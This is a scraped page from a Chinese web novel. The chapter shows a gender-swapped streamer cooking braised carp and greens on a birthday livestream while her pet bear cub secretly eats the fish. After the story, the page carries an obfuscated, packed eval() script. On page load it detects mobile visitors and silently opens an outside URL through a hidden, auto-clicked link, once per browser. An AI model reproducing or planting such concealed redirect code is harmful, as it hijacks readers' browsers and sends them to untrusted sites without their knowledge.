第五文学网 > 玄幻小说 > 变身荒野女主播 > 正文 一千零六十六章 炒菜【来起点订阅吧】

正文 一千零六十六章 炒菜【来起点订阅吧】

    姑娘眼睛里,全是璀璨夺目的星光点点。

    面如桃花的姣好容颜上,双腮坨红,绽放出如花骨朵盛开的清纯甜笑。

    没有什么时候的贾珑,比现如今的她,更为迷人。

    这一刻,诚挚答谢网友的她,让无数人怦然心动。

    真的很美。

    抿抿红唇,贾珑巧笑嫣然,眼波流转中,自有种顾盼生姿绝世美女气度。

    “不用谢,都是你自己表现好呀。”

    “哈哈,不用谢我们,征服我们的主要还是小萌珑你自己。”

    “天了,感觉今天的珑爷最美。”

    “糟了,这个笑容,是恋爱的感觉呀。”

    观众们互动频繁。

    “总之呢,今天是我生日的日子,很感谢大家能够来捧场,与我一同渡过这次的难忘生日。不过今天的直播将从现在开始,一直到晚上,节目有很多,希望不会浪费你们太多时间,有工作和学习生活的,请酌情处理好自己的事情再来看直播哦。”

    贾珑说了几句话以后,就开始了午餐的制作。

    “今天生日的重头戏在晚宴上,所以午餐就稍微随意点啦,大家看,这里是我准备的午餐食材,肉馅、水饺皮,新鲜的鲤鱼,还有几样青菜,这就是我们的午餐食材啦。”

    她指着的这些食材,其实一点都不少。

    大量粉丝吐槽,说这还随便?

    大家伙吃的午餐,连她这随便做的都比不上。

    发出一番言论,引起粉丝们吐槽后,贾珑却也不解释,而是自己开始动手了。

    午餐确实是随便做的,因为主要精力还得放在晚宴上。

    至于量的问题,贾珑可不觉得多。

    她饭量虽然不大,但也绝对不小,而且还有毛毛嘛,它爱吃鱼,特别是做好的鱼,一餐能吃好几条呢。

    其实在开播前,贾珑就已经针对食材大致清洗处理了一下。

    连调味料等,都准备妥当。

    所以基本大部分,是直接就能上手开始烹饪的。

    “首先,咱们来做这条鲤鱼,至于作法呢,我不再走独特风格了,就做普通家庭都喜欢做的红烧鲤鱼好了,嘿嘿,省得大家老是说我另辟蹊径,看看我这回做大众菜肴,是不是也很好吃吧。”

    “当然了,我在食物口感上,要求可是很高的,所以这鲤鱼的制做过程,也会相对繁琐一点。”

    贾珑处理鲤鱼的方式,是简单再清洗一番鱼鳞,将鱼线鱼鳃等再拔出,清理干净。

    “这些鱼类的鳞片与脏器等,如果不好好处理干净,对食材最后的口感,会有很大影响,所以刚学做菜的新手厨师们,可千万要记得,做鱼的时候,一定要把这些东西去除干净。”

    “其实我刚才已经大致预处理过的,所以现在再检查一下,就能够直接动手烹饪了。而且在这之前,我早已用食盐与料酒,把这条鱼给腌制了十分钟左右时间,现在鱼应该是入味的。”

    贾珑很有厨师范,飞快拿起备好的辣椒、姜片、葱蒜等,以一把铮亮厨刀,快速切丝成末。

    锅里倒入滚油,点火加热。同时贾珑把鲤鱼抹上淀粉,包裹全身。

    待锅油温度到一定程度,淀粉也抹差不多了,她干脆利落,将鲤鱼置入锅中。

    只听滋一声油炸食物的声响,一阵清香与炸起的热油跳将起来。

    “好烫,哎哟。”

    姑娘吓一跳,用力拍掉手背上滴到的滚油。

    毕竟是不怎么常用正常方式煮菜的人,还是难免有生疏的地方。

    可她胜在对食材的把握能力,还是够强的,毕竟天天在荒野里用各种方式满足自己的口腹之欲,若连这点掌握能力都没,那也不可能在荒野里活下来了。

    咔锵、咔锵。

    她顾不上滚油溅起的一点烫伤,连忙再拿锅铲,轻轻翻动锅里的鲤鱼。

    “这个过程是最重要的,许多新手因为翻动不及时,造成一面的鱼给烤焦了,所以我们要注意火候与翻炸时间,火候太大火者翻炸间隔时间太长,都是不行的。”

    “而火候与翻炸时间,恰到好处的话……就会像我现在这样……”

    咔锵。

    贾珑端起炒锅,只见锅里的鲤鱼没有任何变黑的地方,全是金灿灿金黄色。

    “哈哈,颜色是不是很漂亮?炸到这种颜色,就可以起锅啦。”

    贾珑一口气将炸成微黄色的鲤鱼,倒入一个椭圆形鱼盘。

    “现在进行第二步,锅里剩一部分油,再加上这里的所有佐料糖、葱、花椒、姜、蒜、辣椒、料酒,生抽、老抽,把它们一齐加上鲤鱼,再回锅大火猛炒几分钟。”

    咔锵、咔锵。

    滋滋滋……

    在贾珑又一次搭配好佐料,鲤鱼回锅之时,毛毛已然回首,不再看什么动画片了。

    它闻着香气扑鼻的红烧鲤鱼味道,小跑到贾珑身边,几乎是望眼欲穿,口水横流。

    “哈哈,毛毛,你干嘛,就想吃了吗?现在还不行哦,爸爸再烧几样菜一起吃好吗?”

    “嗯嗯,毛毛看,毛毛乖孩己,毛毛不七。”

    毛毛拼命点头,一派自己肯定不会偷吃的态度。

    “这毛毛,真成精啦。”

    “感觉它听的懂珑爷的话呀,有没有这么神奇,还点头。”

    “话说,真的有这么香吗?连小毛毛都吸引过来了。”

    “感觉真的很香,看那鲤鱼的颜色,哇,口水止不住。”

    直播间里,也是全员垂涎三尺。

    闻不到味道没关系,只看那鲤鱼的卖相,还有最后贾珑挑锅入盘,再摆上些香菜、葱,作为绿色点缀的美感,都让人有种增添食欲的艺术范。

    可惜啊,谁都吃不着,网友们都要发狂啦。

    咔。

    贾珑把鲤鱼摆上餐桌,毛毛哧溜一声,紧随其后的爬上桌边的一张椅子。

    “别吃哦,不然以后爸爸不给你做鱼吃啦。”

    面对虎视眈眈,就差扑上餐桌的毛毛,贾珑刻意对它嘱咐一声。

    “嗯嗯,毛毛不七。”

    小白熊一再保证。

    贾珑这才回到厨房。

    无人机是面对贾珑拍摄的,所以贾珑背后看不见的景色,通过无人机镜头观看直播的观众们,却每个人都能历历在目,完全见证。

    只见贾珑刚转入厨房,毛毛就爬到桌子上,仿佛犹豫了一秒不到,生满尖牙利齿的小熊嘴就张开,照鲤鱼尾巴咬去。

    “哇,哈哈哈,毛毛动口了。”

    “刚才谁说这小熊听的懂人话来着?”

    “别让萌珑珑知道,给毛毛小萝莉吃个痛快吧。”

    “笑死我了,加油毛毛。”

    毛毛自然不会让观众们失望,只见它大快朵颐,吃的不亦乐乎。

    贾珑这边,却恍若未觉。

    毛毛行动起来,也是悄无声息的,加上贾珑全心全意都放在制做菜肴上,还真就没去注意身后的动静。

    “现在呢,我们开始做几样家常菜,接着再包些水饺,就能吃午饭了。嘿嘿,别说我动作太快,谁让我是料理天才呢,哈哈。”

    在厨房里,她速度还是一如既往的麻利。

    青菜的话,倒是没啥太多的特点。

    比如上海青,贾珑相比一般的作法,是用了更多的油,开锅先用蒜抹,辣椒与花椒一齐炸热,再上海青入锅,简单翻炒后,再进一汤匙油。

    而且她为了保证口感,没让青菜完全炒软化,而是快速翻炒,在青菜油中带着辣味,且质感软硬适中时,起锅盛盘。

    “哈哈,这盘上海青的炒法,大家学会没有?特点是油比较多,口感也极香,最适合热气腾腾的时候吃,非常好吃哦。”

    贾珑再把这盘上海青,端到饭桌上时,却怔了一下。

    因为她扭头只见,小白熊趴饭桌上,小熊臀一翘一翘,嘴里塞满鱼肉。

    贾珑回头的时候,毛毛还抬起吃得满脸是油的熊头,跟她来了个四目相对。

    “耙耙,鱼咬沃,毛毛咬它。”

    得,这小家伙还学会狡辩了。

    “你……让你等会儿吃都等不了吗?气死我了。”

    贾珑气都不打一处来,简直要被这头不听话的小白熊,给气得七窍生烟。

    不过气也没办法,鲤鱼都被吃了大半,总不能让毛毛吐出来。

    “你知不知道,爸爸也饿了呀,哼哼,就知道自己吃,以后肯定吃里扒外,来,也给爸爸尝一口看看。”

    她气不过,也很想知道,自己做的这盘红烧鲤鱼味道如何,所以放好上海青的盘子后,再拿来一双筷子,不介意毛毛尝过,夹起一块鱼肉,轻轻一抿,放入口中。

    入口瞬间,只觉一阵的香气与不腥膻的肉味,在味蕾中爆炸而开。

    那是一种香里带辣,口感软绵的感觉。

    “唔……哇,太好吃了吧,毛毛你说,爸爸是不是料理天才?”

    “系,耙耙天在。”

    毛毛也跟着手舞足蹈,还不忘低头,再咬一口最肥处的鲤鱼肉。

    两父女,飞快的一齐分润美食。

    贾珑可不让毛毛,它都吃那么多了,怎么能不让自己吃呢。

    所以一大一小两个抢了起来。

    “这块是我的,你刚才吃了那块最大的块的肉对不对,所以这块是爸爸的。”

    “系毛毛得,毛毛爱七鱼,耙耙给毛毛买。”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))